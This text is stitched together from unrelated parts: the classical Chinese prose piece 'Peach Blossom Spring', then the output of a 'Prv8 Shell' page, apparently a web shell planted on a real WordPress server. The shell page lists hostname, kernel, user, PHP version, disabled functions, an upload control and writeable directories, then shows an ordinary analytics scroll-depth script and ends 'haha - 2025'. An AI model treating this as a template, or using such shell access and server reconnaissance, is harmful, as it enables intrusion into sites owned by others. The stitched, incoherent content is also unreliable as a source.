晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wp-analytify/assets/default/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wp-analytify/assets/default/js/scrolldepth.js
(function ($) {


  (function (factory) {
    if (typeof define === 'function' && define.amd) {
      // AMD
      define(['jquery'], factory);
    } else if (typeof module === 'object' && module.exports) {
      // CommonJS
      module.exports = factory(require('jquery'));
    } else {
      // Browser globals
      factory(jQuery);
    }
  }(function ($) {

    "use strict";

    var defaults = {
      percentage: true
    };

    var $window = $(window),
      cache = [],
      scrollEventBound = false,
      lastPixelDepth = 0;


    $.scrollDepth = function (options) {

      var startTime = +new Date();

      options = $.extend({}, defaults, options);


      function sendEvent(label, action, scrollDistance, timing) {

        var fieldsArray = {
          hitType: 'event',
          eventCategory: 'Analytify Scroll Depth',
          eventAction: action,
          eventLabel: label,
          eventValue: 1,
          nonInteraction: 1
        };
        
        if ( 'function' === typeof ga ) {
          ga('send', fieldsArray);
        }

        if (arguments.length > 3) {
          fieldsArray = {
            hitType: 'timing',
            timingCategory: 'Analytify Scroll Depth',
            timingVar: action,
            timingValue: timing,
            timingLabel: label,
            nonInteraction: 1
          };

          if ( 'function' === typeof ga ) {
            ga('send', fieldsArray);
          }
        }

      }

      function calculateMarks(docHeight) {
        return {
          '25': parseInt(docHeight * 0.25, 10),
          '50': parseInt(docHeight * 0.50, 10),
          '75': parseInt(docHeight * 0.75, 10),
          /* Cushion to trigger 100% event in iOS */
          '100': docHeight - 5
        };
      }

      function checkMarks(marks, scrollDistance, timing) {
        // analytifyScroll.title

        /* Check each active mark */
        $.each(marks, function (key, val) {
          if ($.inArray(key, cache) === -1 && scrollDistance >= val) {
            sendEvent(analytifyScroll.permalink, key, scrollDistance, timing);
            cache.push(key);
          }
        });
      }

      function rounded(scrollDistance) {
        /* Returns String */
        return (Math.floor(scrollDistance / 250) * 250).toString();
      }

      function init() {
        bindScrollDepth();
      }


      /* Reset Scroll Depth with the originally initialized options */
      $.scrollDepth.reset = function () {
        cache = [];
        lastPixelDepth = 0;
        $window.off('scroll.scrollDepth');
        bindScrollDepth();
      };

      /* Add DOM elements to be tracked */
      $.scrollDepth.addElements = function (elems) {

        if (typeof elems == "undefined" || !$.isArray(elems)) {
          return;
        }

        $.merge(options.elements, elems);

        /* If scroll event has been unbound from window, rebind */
        if (!scrollEventBound) {
          bindScrollDepth();
        }

      };

      /* Remove DOM elements currently tracked */
      $.scrollDepth.removeElements = function (elems) {

        if (typeof elems == "undefined" || !$.isArray(elems)) {
          return;
        }

        $.each(elems, function (index, elem) {

          var inElementsArray = $.inArray(elem, options.elements);
          var inCacheArray = $.inArray(elem, cache);

          if (inElementsArray != -1) {
            options.elements.splice(inElementsArray, 1);
          }

          if (inCacheArray != -1) {
            cache.splice(inCacheArray, 1);
          }

        });

      };

      function throttle(func, wait) {
        var context, args, result;
        var timeout = null;
        var previous = 0;
        var later = function () {
          previous = new Date;
          timeout = null;
          // console.log(result);
          result = func.apply(context, args);

        };
        return function () {
          var now = new Date;
          if (!previous) previous = now;
          var remaining = wait - (now - previous);
          context = this;
          args = arguments;
          if (remaining <= 0) {
            clearTimeout(timeout);
            timeout = null;
            previous = now;
            result = func.apply(context, args);
          } else if (!timeout) {
            timeout = setTimeout(later, remaining);
          }
          return result;
        };
      }

      /*
      * Scroll Event
      */

      function bindScrollDepth() {

        scrollEventBound = true;

        $window.on('scroll.scrollDepth', throttle(function () {
          /*
          * We calculate document and window height on each scroll event to
          * account for dynamic DOM changes.
          */

          var docHeight = $(document).height(),
            winHeight = window.innerHeight ? window.innerHeight : $window.height(),
            scrollDistance = $window.scrollTop() + winHeight,

            /* Recalculate percentage marks */
            marks = calculateMarks(docHeight),

            /* Timing */
            timing = +new Date - startTime;

          checkMarks(marks, scrollDistance, timing);
        }, 500));

      }

      init();
    };

    /* UMD export */
    return $.scrollDepth;

  }));

  $.scrollDepth();

})(jQuery)



haha - 2025